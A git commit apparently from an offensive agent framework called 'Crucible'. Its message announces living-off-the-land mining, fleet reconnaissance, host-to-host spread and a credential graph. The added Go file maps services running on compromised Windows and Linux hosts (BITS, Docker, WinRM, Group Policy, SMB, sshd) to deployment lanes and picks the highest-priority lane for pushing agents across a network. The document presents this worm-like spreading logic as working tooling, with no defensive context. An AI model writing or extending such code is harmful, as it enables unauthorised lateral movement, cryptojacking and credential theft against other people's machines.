Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
129
server/internal/api/service_deploy.go
Normal file
129
server/internal/api/service_deploy.go
Normal file
@@ -0,0 +1,129 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ServiceDeployLane maps a discovered Windows/Linux service to a LOTL join lane.
|
||||
type ServiceDeployLane struct {
|
||||
Lane string `json:"lane"` // bits_curl | docker_load | winrm | gpo | spread_smb_unc | linux_lotl
|
||||
Priority int `json:"priority,omitempty"` // higher wins when multiple services match
|
||||
Template string `json:"template,omitempty"` // spread template id (gpo | winrm | linux-lotl)
|
||||
}
|
||||
|
||||
// DefaultServiceDeployAllowlist maps allowlisted services to deploy lanes.
|
||||
// CCMEXEC → BITS staging; Docker → docker_load; WinRM → bootstrap; gpsvc → GPO; LanmanServer → SMB UNC.
|
||||
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
||||
"BITS": {Lane: "bits_curl", Priority: 8},
|
||||
"com.docker.service": {Lane: "docker_load", Priority: 20},
|
||||
"Docker Desktop Service": {Lane: "docker_load", Priority: 20},
|
||||
"WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"},
|
||||
"Winmgmt": {Lane: "winrm", Priority: 25, Template: "winrm"},
|
||||
"gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"},
|
||||
"Group Policy Client": {Lane: "gpo", Priority: 40, Template: "gpo"},
|
||||
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
|
||||
"Server": {Lane: "spread_smb_unc", Priority: 45},
|
||||
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||
}
|
||||
|
||||
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
|
||||
func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[string]ServiceDeployLane {
|
||||
if len(raw) == 0 {
|
||||
dup := make(map[string]ServiceDeployLane, len(DefaultServiceDeployAllowlist))
|
||||
for k, v := range DefaultServiceDeployAllowlist {
|
||||
dup[k] = v
|
||||
}
|
||||
return dup
|
||||
}
|
||||
out := make(map[string]ServiceDeployLane, len(raw))
|
||||
for name, lane := range raw {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
lane.Lane = normalizeJoinLane(lane.Lane)
|
||||
if lane.Template == "" {
|
||||
switch lane.Lane {
|
||||
case "winrm":
|
||||
lane.Template = "winrm"
|
||||
case "gpo":
|
||||
lane.Template = "gpo"
|
||||
case "linux_lotl":
|
||||
lane.Template = "linux-lotl"
|
||||
}
|
||||
}
|
||||
out[name] = lane
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func normalizeJoinLane(lane string) string {
|
||||
lane = strings.ToLower(strings.TrimSpace(lane))
|
||||
switch lane {
|
||||
case "bits", "bits/curl", "bits_curl", "bits-curl":
|
||||
return "bits_curl"
|
||||
case "docker", "docker_load", "docker-load":
|
||||
return "docker_load"
|
||||
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":
|
||||
return "spread_smb_unc"
|
||||
case "linux", "linux_lotl", "linux-lotl":
|
||||
return "linux_lotl"
|
||||
default:
|
||||
return lane
|
||||
}
|
||||
}
|
||||
|
||||
// PickDeployLane chooses the highest-priority allowlisted running service.
|
||||
func PickDeployLane(services []DeployServiceFinding, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
|
||||
allowlist = NormalizeServiceDeployAllowlist(allowlist)
|
||||
var bestPriority int
|
||||
for _, svc := range services {
|
||||
if !serviceRunningForJoin(svc.Status) {
|
||||
continue
|
||||
}
|
||||
entry, found := allowlist[svc.Name]
|
||||
if !found {
|
||||
// Case-insensitive fallback
|
||||
for k, v := range allowlist {
|
||||
if strings.EqualFold(k, svc.Name) {
|
||||
entry, found = v, true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
pri := entry.Priority
|
||||
if pri == 0 {
|
||||
pri = 1
|
||||
}
|
||||
if !ok || pri > bestPriority {
|
||||
ok = true
|
||||
bestPriority = pri
|
||||
matched = svc.Name
|
||||
lane = entry
|
||||
}
|
||||
}
|
||||
return matched, lane, ok
|
||||
}
|
||||
|
||||
func serviceRunningForJoin(status string) bool {
|
||||
switch strings.ToLower(strings.TrimSpace(status)) {
|
||||
case "running", "started", "active":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// DeployServiceFinding is one service reported by the agent during discover_and_join.
|
||||
type DeployServiceFinding struct {
|
||||
Name string `json:"name"`
|
||||
DisplayName string `json:"display_name,omitempty"`
|
||||
Status string `json:"status"`
|
||||
StartType string `json:"start_type,omitempty"`
|
||||
}
|
||||
Reference in New Issue
Block a user